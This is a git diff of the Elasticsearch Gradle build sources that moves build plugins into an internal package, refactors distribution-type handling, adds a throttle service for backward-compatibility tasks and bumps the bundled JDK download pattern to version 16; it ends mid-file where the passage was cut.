b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchJavaPlugin.java similarity index 81% rename from buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchJavaPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchJavaPlugin.java index 9620c9b3cf4bd..b7b0dc53f2385 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchJavaPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchJavaPlugin.java @@ -6,15 +6,16 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import com.github.jengelman.gradle.plugins.shadow.tasks.ShadowJar; import nebula.plugin.info.InfoBrokerPlugin; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.VersionProperties; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; import org.elasticsearch.gradle.precommit.PrecommitTaskPlugin; import org.elasticsearch.gradle.util.GradleUtils; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Action; import org.gradle.api.JavaVersion; import org.gradle.api.Plugin; @@ -48,7 +49,7 @@ import java.util.function.Consumer; import java.util.stream.Stream; -import static org.elasticsearch.gradle.util.Util.toStringable; +import static org.elasticsearch.gradle.internal.util.Util.toStringable; /** * A wrapper around Gradle's Java plugin that applies our common configuration. @@ -167,14 +168,10 @@ public static void configureCompile(Project project) { compileOptions.getRelease().set(releaseVersionProviderFromCompileTask(project, compileTask)); }); // also apply release flag to groovy, which is used in build-tools - project.getTasks() - .withType(GroovyCompile.class) - .configureEach( - compileTask -> { - // TODO: this probably shouldn't apply to groovy at all? - compileTask.getOptions().getRelease().set(releaseVersionProviderFromCompileTask(project, compileTask)); - } - ); + project.getTasks().withType(GroovyCompile.class).configureEach(compileTask -> { + // TODO: this probably shouldn't apply to groovy at all? + compileTask.getOptions().getRelease().set(releaseVersionProviderFromCompileTask(project, compileTask)); + }); }); } @@ -196,50 +193,37 @@ public static void configureInputNormalization(Project project) { * Adds additional manifest info to jars */ static void configureJars(Project project) { - project.getTasks() - .withType(Jar.class) - .configureEach( - jarTask -> { - // we put all our distributable files under distributions - jarTask.getDestinationDirectory().set(new File(project.getBuildDir(), "distributions")); - // fixup the jar manifest - // Explicitly using an Action interface as java lambdas - // are not supported by Gradle up-to-date checks - jarTask.doFirst(new Action() { - @Override - public void execute(Task task) { - // this doFirst is added before the info plugin, therefore it will run - // after the doFirst added by the info plugin, and we can override attributes - jarTask.getManifest() - .attributes( - Map.of( - "Build-Date", - BuildParams.getBuildDate(), - "Build-Java-Version", - BuildParams.getGradleJavaVersion() - ) - ); - } - }); + project.getTasks().withType(Jar.class).configureEach(jarTask -> { + // we put all our distributable files under distributions + jarTask.getDestinationDirectory().set(new File(project.getBuildDir(), "distributions")); + // fixup the jar manifest + // Explicitly using an Action interface as java lambdas + // are not supported by Gradle up-to-date checks + jarTask.doFirst(new Action() { + @Override + public void execute(Task task) { + // this doFirst is added before the info plugin, therefore it will run + // after the doFirst added by the info plugin, and we can override attributes + jarTask.getManifest() + .attributes( + Map.of("Build-Date", BuildParams.getBuildDate(), "Build-Java-Version", BuildParams.getGradleJavaVersion()) + ); } - ); + }); + }); project.getPluginManager().withPlugin("com.github.johnrengelman.shadow", p -> { - project.getTasks() - .withType(ShadowJar.class) - .configureEach( - shadowJar -> { - /* - * Replace the default "-all" classifier with null - * which will leave the classifier off of the file name. - */ - shadowJar.getArchiveClassifier().set((String) null); - /* - * Not all cases need service files merged but it is - * better to be safe - */ - shadowJar.mergeServiceFiles(); - } - ); + project.getTasks().withType(ShadowJar.class).configureEach(shadowJar -> { + /* + * Replace the default "-all" classifier with null + * which will leave the classifier off of the file name. + */ + shadowJar.getArchiveClassifier().set((String) null); + /* + * Not all cases need service files merged but it is + * better to be safe + */ + shadowJar.mergeServiceFiles(); + }); // Add "original" classifier to the non-shadowed JAR to distinguish it from the shadow JAR project.getTasks().named(JavaPlugin.JAR_TASK_NAME, Jar.class).configure(jar -> jar.getArchiveClassifier().set("original")); // Make sure we assemble the shadow jar diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchTestBasePlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java similarity index 93% rename from buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchTestBasePlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java index 6772aefbc0344..74fb37a7fabf1 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ElasticsearchTestBasePlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ElasticsearchTestBasePlugin.java @@ -6,13 +6,16 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import com.github.jengelman.gradle.plugins.shadow.ShadowBasePlugin; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; -import org.elasticsearch.gradle.test.ErrorReportingTestListener; -import org.elasticsearch.gradle.util.Util; +import org.elasticsearch.gradle.OS; +import org.elasticsearch.gradle.internal.test.SimpleCommandLineArgumentProvider; +import org.elasticsearch.gradle.internal.test.SystemPropertyCommandLineArgumentProvider; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.internal.test.ErrorReportingTestListener; +import org.elasticsearch.gradle.internal.util.Util; import org.gradle.api.Action; import org.gradle.api.Plugin; import org.gradle.api.Project; @@ -26,7 +29,7 @@ import java.io.File; import java.util.Map; -import static org.elasticsearch.gradle.util.FileUtils.mkdirs; +import static org.elasticsearch.gradle.internal.util.FileUtils.mkdirs; import static org.elasticsearch.gradle.util.GradleUtils.maybeConfigure; /** @@ -173,7 +176,7 @@ public void execute(Task t) { if (OS.current().equals(OS.WINDOWS) && System.getProperty("tests.timeoutSuite") == null) { // override the suite timeout to 30 mins for windows, because it has the most inefficient filesystem known to man - test.systemProperty("tests.timeoutSuite", "1800000!"); + test.systemProperty("tests.timeoutSuite", "2400000!"); } /* diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/EmptyDirTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/EmptyDirTask.java similarity index 97% rename from buildSrc/src/main/java/org/elasticsearch/gradle/EmptyDirTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/EmptyDirTask.java index f3872b636d4d2..471d9d80ce5cf 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/EmptyDirTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/EmptyDirTask.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import java.io.File; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTask.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTask.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTask.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTask.java index 8254e44e07619..861b3ed7b0de8 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/ExportElasticsearchBuildResourcesTask.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/ExportElasticsearchBuildResourcesTask.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.gradle.api.DefaultTask; import org.gradle.api.GradleException; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalAvailableTcpPortProviderPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalAvailableTcpPortProviderPlugin.java index 6ed347a8bda60..85e56f8e2d946 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalAvailableTcpPortProviderPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalAvailableTcpPortProviderPlugin.java @@ -8,8 +8,8 @@ package org.elasticsearch.gradle.internal; -import org.elasticsearch.gradle.util.ports.AvailablePortAllocator; -import org.elasticsearch.gradle.util.ports.ReservedPortRange; +import org.elasticsearch.gradle.internal.util.ports.AvailablePortAllocator; +import org.elasticsearch.gradle.internal.util.ports.ReservedPortRange; import org.gradle.api.Plugin; import org.gradle.api.Project; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalBwcGitPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalBwcGitPlugin.java index c0fb5a4922087..fd4733c933aec 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalBwcGitPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalBwcGitPlugin.java @@ -9,7 +9,7 @@ package org.elasticsearch.gradle.internal; import org.elasticsearch.gradle.LoggedExec; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; import org.gradle.api.Action; import org.gradle.api.GradleException; import org.gradle.api.Plugin; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveCheckPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveCheckPlugin.java index ec6b852f7566e..358fc62cfdd39 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveCheckPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveCheckPlugin.java @@ -29,7 +29,7 @@ import java.util.concurrent.Callable; import java.util.stream.Collectors; -import static org.elasticsearch.gradle.util.Util.capitalize; +import static org.elasticsearch.gradle.internal.util.Util.capitalize; public class InternalDistributionArchiveCheckPlugin implements InternalPlugin { @@ -63,7 +63,7 @@ public void apply(Project project) { }); String projectName = project.getName(); - if (projectName.contains("oss") == false && (projectName.contains("zip") || projectName.contains("tar"))) { + if (projectName.equalsIgnoreCase("integ-test-zip") == false && (projectName.contains("zip") || projectName.contains("tar"))) { project.getExtensions() .add( "projectLicenses", diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPlugin.java index c4c0dd35d0216..b4ce2ff41ae20 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionArchiveSetupPlugin.java @@ -8,8 +8,6 @@ package org.elasticsearch.gradle.internal; -import org.elasticsearch.gradle.EmptyDirTask; -import org.elasticsearch.gradle.tar.SymbolicLinkPreservingTar; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Project; import org.gradle.api.artifacts.type.ArtifactTypeDefinition; @@ -23,7 +21,7 @@ import java.io.File; -import static org.elasticsearch.gradle.util.Util.capitalize; +import static org.elasticsearch.gradle.internal.util.Util.capitalize; import static org.gradle.api.internal.artifacts.ArtifactAttributes.ARTIFACT_FORMAT; /** diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPlugin.java index 9685470f855cd..dec69d9de647c 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionBwcSetupPlugin.java @@ -8,15 +8,16 @@ package org.elasticsearch.gradle.internal; -import org.elasticsearch.gradle.BwcVersions; import org.elasticsearch.gradle.Version; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; import org.gradle.api.InvalidUserDataException; import org.gradle.api.Project; import org.gradle.api.Task; import org.gradle.api.provider.Provider; import org.gradle.api.provider.ProviderFactory; +import org.gradle.api.services.BuildService; +import org.gradle.api.services.BuildServiceParameters; import org.gradle.api.tasks.TaskProvider; import org.gradle.language.base.plugins.LifecycleBasePlugin; @@ -39,6 +40,7 @@ */ public class InternalDistributionBwcSetupPlugin implements InternalPlugin { + private static final String BWC_TASK_THROTTLE_SERVICE = "bwcTaskThrottle"; private ProviderFactory providerFactory; @Inject @@ -49,19 +51,26 @@ public InternalDistributionBwcSetupPlugin(ProviderFactory providerFactory) { @Override public void apply(Project project) { project.getRootProject().getPluginManager().apply(GlobalBuildInfoPlugin.class); + Provider bwcTaskThrottleProvider = project.getGradle() + .getSharedServices() + .registerIfAbsent(BWC_TASK_THROTTLE_SERVICE, BwcTaskThrottle.class, spec -> spec.getMaxParallelUsages().set(1)); BuildParams.getBwcVersions() .forPreviousUnreleased( (BwcVersions.UnreleasedVersionInfo unreleasedVersion) -> { - configureBwcProject(project.project(unreleasedVersion.gradleProjectPath), unreleasedVersion); + configureBwcProject(project.project(unreleasedVersion.gradleProjectPath), unreleasedVersion, bwcTaskThrottleProvider); } ); } - private void configureBwcProject(Project project, BwcVersions.UnreleasedVersionInfo versionInfo) { + private void configureBwcProject( + Project project, + BwcVersions.UnreleasedVersionInfo versionInfo, + Provider bwcTaskThrottleProvider + ) { Provider versionInfoProvider = providerFactory.provider(() -> versionInfo); Provider checkoutDir = versionInfoProvider.map(info -> new File(project.getBuildDir(), "bwc/checkout-" + info.branch)); BwcSetupExtension bwcSetupExtension = project.getExtensions() - .create("bwcSetup", BwcSetupExtension.class, project, versionInfoProvider, checkoutDir); + .create("bwcSetup", BwcSetupExtension.class, project, versionInfoProvider, bwcTaskThrottleProvider, checkoutDir); BwcGitExtension gitExtension = project.getPlugins().apply(InternalBwcGitPlugin.class).getGitExtension(); Provider bwcVersion = versionInfoProvider.map(info -> info.version); gitExtension.setBwcVersion(versionInfoProvider.map(info -> info.version)); @@ -252,7 +261,7 @@ private static class DistributionProject { /** * can be removed once we don't build 7.10 anymore * from source for bwc tests. - * */ + */ @Deprecated final boolean expandedDistDirSupport; final DistributionProjectArtifact expectedBuildArtifact; @@ -286,7 +295,7 @@ private static class DistributionProject { /** * Newer elasticsearch branches allow building extracted bwc elasticsearch versions * from source without the overhead of creating an archive by using assembleExtracted instead of assemble. - * */ + */ public String getAssembleTaskName() { return extractedAssembleSupported ? "extractedAssemble" : "assemble"; } @@ -301,4 +310,6 @@ private static class DistributionProjectArtifact { this.expandedDistDir = expandedDistDir; } } + + public abstract class BwcTaskThrottle implements BuildService {} } diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPlugin.java index 6f363ea56c899..a5c69de5c801c 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPlugin.java @@ -9,19 +9,24 @@ package org.elasticsearch.gradle.internal; import org.elasticsearch.gradle.Architecture; -import org.elasticsearch.gradle.BwcVersions; import org.elasticsearch.gradle.DistributionDependency; import org.elasticsearch.gradle.DistributionDownloadPlugin; import org.elasticsearch.gradle.DistributionResolution; import org.elasticsearch.gradle.ElasticsearchDistribution; import org.elasticsearch.gradle.Version; import org.elasticsearch.gradle.VersionProperties; -import org.elasticsearch.gradle.info.BuildParams; -import org.elasticsearch.gradle.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.distribution.ElasticsearchDistributionTypes; +import org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes; +import org.elasticsearch.gradle.internal.docker.DockerSupportPlugin; +import org.elasticsearch.gradle.internal.docker.DockerSupportService; +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.internal.info.GlobalBuildInfoPlugin; +import org.elasticsearch.gradle.util.GradleUtils; import org.gradle.api.GradleException; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Project; import org.gradle.api.artifacts.Dependency; +import org.gradle.api.provider.Provider; import java.util.function.Function; @@ -40,11 +45,15 @@ public class InternalDistributionDownloadPlugin implements InternalPlugin { public void apply(Project project) { // this is needed for isInternal project.getRootProject().getPluginManager().apply(GlobalBuildInfoPlugin.class); - // might be used without the general build plugin so we keep this check for now. - if (BuildParams.isInternal() == false) { - throw new GradleException(getExternalUseErrorMessage()); - } - project.getPluginManager().apply(DistributionDownloadPlugin.class); + project.getRootProject().getPluginManager().apply(DockerSupportPlugin.class); + DistributionDownloadPlugin distributionDownloadPlugin = project.getPlugins().apply(DistributionDownloadPlugin.class); + Provider dockerSupport = GradleUtils.getBuildService( + project.getGradle().getSharedServices(), + DockerSupportPlugin.DOCKER_SUPPORT_SERVICE_NAME + ); + distributionDownloadPlugin.setDockerAvailability( + dockerSupport.map(dockerSupportService -> dockerSupportService.getDockerAvailability().isAvailable) + ); this.bwcVersions = BuildParams.getBwcVersions(); registerInternalDistributionResolutions(DistributionDownloadPlugin.getRegistrationsContainer(project)); } @@ -58,7 +67,6 @@ public void apply(Project project) { * BWC versions are resolved as project to projects under `:distribution:bwc`. */ private void registerInternalDistributionResolutions(NamedDomainObjectContainer resolutions) { - resolutions.register("localBuild", distributionResolution -> distributionResolution.setResolver((project, distribution) -> { if (VersionProperties.getElasticsearch().equals(distribution.getVersion())) { // non-external project, so depend on local build @@ -100,28 +108,20 @@ private static String getProjectConfig(ElasticsearchDistribution distribution, B : "expanded-" + distributionProjectName; } else { return distributionProjectName; - } } private static String distributionProjectPath(ElasticsearchDistribution distribution) { String projectPath = ":distribution"; - switch (distribution.getType()) { - case INTEG_TEST_ZIP: - projectPath += ":archives:integ-test-zip"; - break; - - case DOCKER: - case DOCKER_UBI: - projectPath += ":docker:"; - projectPath += distributionProjectName(distribution); - break; - - default: - projectPath += distribution.getType() == ElasticsearchDistribution.Type.ARCHIVE ? ":archives:" : ":packages:"; - projectPath += distributionProjectName(distribution); - break; + if (distribution.getType() == ElasticsearchDistributionTypes.INTEG_TEST_ZIP) { + projectPath += ":archives:integ-test-zip"; + } else if (distribution.getType().isDocker()) { + projectPath += ":docker:"; + projectPath += distributionProjectName(distribution); + } else { + projectPath += distribution.getType() == ElasticsearchDistributionTypes.ARCHIVE ? ":archives:" : ":packages:"; + projectPath += distributionProjectName(distribution); } return projectPath; } @@ -147,34 +147,25 @@ private static String distributionProjectName(ElasticsearchDistribution distribu ? "" : "-" + architecture.toString().toLowerCase(); - if (distribution.getFlavor() == ElasticsearchDistribution.Flavor.OSS) { - projectName += "oss-"; - } - if (distribution.getBundledJdk() == false) { projectName += "no-jdk-"; } - switch (distribution.getType()) { - case ARCHIVE: - projectName += platform.toString() + archString + (platform == ElasticsearchDistribution.Platform.WINDOWS - ? "-zip" - : "-tar"); - break; - - case DOCKER: - projectName += "docker" + archString + "-export"; - break; - - case DOCKER_UBI: - projectName += "ubi-docker" + archString + "-export"; - break; - - default: - projectName += distribution.getType(); - break; + if (distribution.getType() == ElasticsearchDistributionTypes.ARCHIVE) { + return projectName + platform.toString() + archString + (platform == ElasticsearchDistribution.Platform.WINDOWS + ? "-zip" + : "-tar"); + } + if (distribution.getType() == InternalElasticsearchDistributionTypes.DOCKER) { + return projectName + "docker" + archString + "-export"; + } + if (distribution.getType() == InternalElasticsearchDistributionTypes.DOCKER_UBI) { + return projectName + "ubi-docker" + archString + "-export"; + } + if (distribution.getType() == InternalElasticsearchDistributionTypes.DOCKER_IRONBANK) { + return projectName + "ironbank-docker" + archString + "-export"; } - return projectName; + return projectName + distribution.getType().getName(); } private static class ProjectBasedDistributionDependency implements DistributionDependency { diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalPluginBuildPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalPluginBuildPlugin.java new file mode 100644 index 0000000000000..e6285626999e3 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalPluginBuildPlugin.java @@ -0,0 +1,105 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import groovy.lang.Closure; +import org.elasticsearch.gradle.internal.precommit.TestingConventionsTasks; +import org.elasticsearch.gradle.internal.test.RestTestBasePlugin; +import org.elasticsearch.gradle.internal.util.Util; +import org.elasticsearch.gradle.plugin.PluginBuildPlugin; +import org.elasticsearch.gradle.plugin.PluginPropertiesExtension; +import org.elasticsearch.gradle.util.GradleUtils; +import org.gradle.api.Project; +import org.gradle.api.tasks.bundling.Zip; + +import java.util.Optional; + +public class InternalPluginBuildPlugin implements InternalPlugin { + @Override + public void apply(Project project) { + project.getPluginManager().apply(BuildPlugin.class); + project.getPluginManager().apply(PluginBuildPlugin.class); + // Clear default dependencies added by public PluginBuildPlugin as we add our + // own project dependencies for internal builds + // TODO remove once we removed default dependencies from PluginBuildPlugin + project.getConfigurations().getByName("compileOnly").getDependencies().clear(); + project.getConfigurations().getByName("testImplementation").getDependencies().clear(); + + project.getPluginManager().apply(RestTestBasePlugin.class); + var extension = project.getExtensions().getByType(PluginPropertiesExtension.class); + + // We've ported this from multiple build scripts where we see this pattern into + // an extension method as a first step of consolidation. + // We might want to port this into a general pattern later on. + project.getExtensions() + .getExtraProperties() + .set("addQaCheckDependencies", new Closure(InternalPluginBuildPlugin.this, InternalPluginBuildPlugin.this) { + public void doCall(Object it) { + project.afterEvaluate(project1 -> { + // let check depend on check tasks of qa sub-projects + final var checkTaskProvider = project1.getTasks().named("check"); + Optional qaSubproject = project1.getSubprojects() + .stream() + .filter(p -> p.getPath().equals(project1.getPath() + ":qa")) + .findFirst(); + qaSubproject.ifPresent( + qa -> qa.getSubprojects() + .forEach(p -> checkTaskProvider.configure(task -> task.dependsOn(p.getPath() + ":check"))) + ); + }); + } + + public void doCall() { + doCall(null); + } + }); + + project.getTasks().withType(TestingConventionsTasks.class).named("testingConventions").configure(t -> { + t.getNaming().clear(); + t.getNaming() + .create("Tests", testingConventionRule -> testingConventionRule.baseClass("org.apache.lucene.util.LuceneTestCase")); + t.getNaming().create("IT", testingConventionRule -> { + testingConventionRule.baseClass("org.elasticsearch.test.ESIntegTestCase"); + testingConventionRule.baseClass("org.elasticsearch.test.rest.ESRestTestCase"); + testingConventionRule.baseClass("org.elasticsearch.test.ESSingleNodeTestCase"); + }); + }); + + project.afterEvaluate(p -> { + boolean isModule = GradleUtils.isModuleProject(p.getPath()); + boolean isXPackModule = isModule && p.getPath().startsWith(":x-pack"); + if (isModule == false || isXPackModule) { + addNoticeGeneration(p, extension); + } + }); + } + + /** + * Configure the pom for the main jar of this plugin + */ + protected static void addNoticeGeneration(final Project project, PluginPropertiesExtension extension) { + final var licenseFile = extension.getLicenseFile(); + var tasks = project.getTasks(); + if (licenseFile != null) { + tasks.withType(Zip.class).named("bundlePlugin").configure(zip -> zip.from(licenseFile.getParentFile(), copySpec -> { + copySpec.include(licenseFile.getName()); + copySpec.rename(s -> "LICENSE.txt"); + })); + } + + final var noticeFile = extension.getNoticeFile(); + if (noticeFile != null) { + final var generateNotice = tasks.register("generateNotice", NoticeTask.class, noticeTask -> { + noticeTask.setInputFile(noticeFile); + noticeTask.source(Util.getJavaMainSourceSet(project).get().getAllJava()); + }); + tasks.withType(Zip.class).named("bundlePlugin").configure(task -> task.from(generateNotice)); + } + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalReaperPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalReaperPlugin.java new file mode 100644 index 0000000000000..9ed0afff9807b --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalReaperPlugin.java @@ -0,0 +1,31 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.file.ProjectLayout; + +import javax.inject.Inject; + +import static org.elasticsearch.gradle.ReaperPlugin.registerReaperService; + +public class InternalReaperPlugin implements Plugin { + private final ProjectLayout projectLayout; + + @Inject + public InternalReaperPlugin(ProjectLayout projectLayout) { + this.projectLayout = projectLayout; + } + + @Override + public void apply(Project project) { + registerReaperService(project, projectLayout, true); + } +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalTestClustersPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalTestClustersPlugin.java new file mode 100644 index 0000000000000..1d0eff0b3aa70 --- /dev/null +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/InternalTestClustersPlugin.java @@ -0,0 +1,36 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.elasticsearch.gradle.internal.info.BuildParams; +import org.elasticsearch.gradle.testclusters.TestClustersPlugin; +import org.gradle.api.Plugin; +import org.gradle.api.Project; +import org.gradle.api.provider.ProviderFactory; + +import javax.inject.Inject; + +public class InternalTestClustersPlugin implements Plugin { + + private ProviderFactory providerFactory; + + @Inject + public InternalTestClustersPlugin(ProviderFactory providerFactory) { + this.providerFactory = providerFactory; + } + + @Override + public void apply(Project project) { + project.getPlugins().apply(InternalDistributionDownloadPlugin.class); + project.getRootProject().getPluginManager().apply(InternalReaperPlugin.class); + TestClustersPlugin testClustersPlugin = project.getPlugins().apply(TestClustersPlugin.class); + testClustersPlugin.setRuntimeJava(providerFactory.provider(() -> BuildParams.getRuntimeJavaHome())); + } + +} diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/JavaClassPublicifier.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/JavaClassPublicifier.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/JavaClassPublicifier.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/JavaClassPublicifier.java index b80824b8890df..a5c16b5fc08f3 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/JavaClassPublicifier.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/JavaClassPublicifier.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.gradle.api.DefaultTask; import org.gradle.api.file.DirectoryProperty; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/Jdk.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/Jdk.java similarity index 99% rename from buildSrc/src/main/java/org/elasticsearch/gradle/Jdk.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/Jdk.java index 15379172408e2..7b2c9b32b5092 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/Jdk.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/Jdk.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.gradle.api.Buildable; import org.gradle.api.artifacts.Configuration; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/JdkDownloadPlugin.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/JdkDownloadPlugin.java similarity index 98% rename from buildSrc/src/main/java/org/elasticsearch/gradle/JdkDownloadPlugin.java rename to buildSrc/src/main/java/org/elasticsearch/gradle/internal/JdkDownloadPlugin.java index 089b67aa040eb..391139dd1df19 100644 --- a/buildSrc/src/main/java/org/elasticsearch/gradle/JdkDownloadPlugin.java +++ b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/JdkDownloadPlugin.java @@ -6,7 +6,7 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import org.elasticsearch.gradle.transform.SymbolicLinkPreservingUntarTransform; import org.elasticsearch.gradle.transform.UnzipTransform; @@ -133,12 +133,12 @@ private void setupRepository(Project project, Jdk jdk) { // The following is an absolute hack until AdoptOpenJdk provides Apple aarch64 builds String zuluPathSuffix = jdk.getPlatform().equals("linux") ? "-embedded" : ""; switch (jdk.getMajor()) { - case "15": + case "16": artifactPattern = "zulu" + zuluPathSuffix + "/bin/zulu" + jdk.getMajor() - + ".29.15-ca-jdk15.0.2-" + + ".28.11-ca-jdk16.0.0-" + azulPlatform(jdk) + "_[classifier].[ext]"; break; diff --git a/buildSrc/src/main/java/org/elasticsearch/gradle/LoggingOutputStream.java b/buildSrc/src/main/java/org/elasticsearch/gradle/internal/LoggingOutputStream.java similarity index 98% rename from 